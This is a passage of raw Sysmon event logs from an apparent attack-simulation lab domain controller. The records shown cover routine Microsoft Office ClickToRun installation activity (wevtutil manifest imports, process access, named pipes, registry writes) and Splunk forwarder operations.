14:44:11.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-6F39-613B-9F08-00000000F001}33286668C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+305077|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2fa81e|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.348{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exe10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Eventing Command Line UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\msoutilstat.etw.man" /rf:"C:\Program Files\Microsoft Office\root\Office16\msoetwres.dll" /mf:"C:\Program Files\Microsoft Office\root\Office16\msoetwres.dll"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91803E340A7E7AFDF95A8031F6EF3F3E,SHA256=DCFD99FE08A5D46C52E810FE2F9CC15AC82008975C0A731A11773B11ADE0F3CC,IMPHASH=51FFA3B7FBD1EF82ECE0730B54406E64{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 23542300x800000000000000042058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\msoutilstat.etw.manMD5=C1E8B625377C75454266F9D172D2F77D,SHA256=7847E5BA06CA0A834454A3C62EC343DCAA4339E6EF2ED5BD42E460ADE5331628,IMPHASH=00000000000000000000000000000000falsefalse - rename failed with status 0xc0000022 10341000x800000000000000042057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.336{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3B-613B-C808-00000000F001}6748C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.320{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-C808-00000000F001}6748C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.320{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3B-613B-C808-00000000F001}6748C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACD5B5F980629432704CF01C6DE6AA85,SHA256=2B0BF63922EE99CA40714C50BF2D366435F7B043B2DB2A39124D742ED7E7E3A1,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.227{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7B394F1317BD64DDB732BEA0B34F89B3,SHA256=D9F8C944D4C22DC35A3DAE99D555E6802EC921CB064D5E796837A7561A756979,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000042039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.133{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\WordChannel\TypeDWORD (0x00000003) 13241300x800000000000000042038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.133{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\WordChannel\IsolationDWORD (0x00000000) 13241300x800000000000000042037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.133{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\WordChannel\OwningPublisher{daf0b914-9c1c-450a-81b2-fea7244f6ffa} 18141800x800000000000000042036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.117{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.102{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 354300x800000000000000042034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.371{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59222-false10.0.1.12-8000- 18141800x800000000000000042033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.008{7BD73061-6F3B-613B-C708-00000000F001}42885116C:\Windows\system32\conhost.exe{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.008{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-C708-00000000F001}4288C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-6F39-613B-9F08-00000000F001}33286668C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+305077|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2fa81e|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.002{7BD73061-6F3B-613B-C608-00000000F001}5544C:\Windows\System32\wevtutil.exe10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Eventing Command Line UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.man" /rf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll" /mf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT 